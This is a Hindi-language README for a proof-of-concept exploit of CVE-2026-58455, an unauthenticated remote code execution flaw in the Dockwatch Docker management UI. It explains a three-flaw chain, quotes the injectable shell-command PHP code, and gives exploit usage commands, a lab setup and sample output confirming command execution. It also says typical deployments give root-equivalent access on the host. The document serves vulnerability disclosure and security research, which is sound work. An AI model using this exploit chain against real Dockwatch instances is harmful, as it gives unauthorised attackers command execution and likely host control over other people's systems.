
CVE-2026-58455 के लिए PoC: Dockwatch <=0.6.567 बिना प्रमाणीकरण वाला RCE। केवल Stdlib-आधारित Python।
CVE-2026-58455 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: Dockwatch (Notifiarr द्वारा) में बिना प्रमाणीकरण के रिमोट कोड निष्पादन, जो एक सेल्फ-होस्टेड Docker कंटेनर प्रबंधन वेब UI है। 0.6.567 तक के सभी संस्करणों को प्रभावित करता है।
तीन खामियाँ एक साथ जुड़ी हुईं:
GET /includes/header.php किसी भी विज़िटर के लिए $_SESSION['IN_DOCKWATCH'] = true; निष्पादित करता है। AJAX परत (ajax/shared.php) केवल इस फ्लैग की जाँच करती है।exit() की कमी — loader.php जब $_SESSION['authenticated'] गलत होता है तो Location: login.php हेडर भेजता है लेकिन निष्पादन समाप्त नहीं करता, इसलिए अनुरोध का बाकी हिस्सा चलता रहता है।ajax/compose.php (m=composePull) अस्वच्छित इनपुट के साथ एक शेल कमांड बनाता है:
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
संयोजन से: एक बिना प्रमाणीकरण वाला रिमोट हमलावर कंटेनर के अंदर वेब सर्वर उपयोगकर्ता के रूप में मनमाना OS कमांड चलाता है। विशिष्ट परिनियोजन /var/run/docker.sock को कंटेनर में माउंट करते हैं → होस्ट पर रूट के बराबर।
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # defaults
केवल Python 3 stdlib।
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
Dockwatch को 0.6.567 से नए संस्करण में अपडेट करें। शमन के रूप में, Dockwatch को अविश्वसनीय नेटवर्क पर एक्सपोज़ न करें और यदि आवश्यक न हो तो Docker सॉकेट बाइंड हटा दें।
केवल अधिकृत सुरक्षा अनुसंधान और प्रयोगशाला उपयोग के लिए।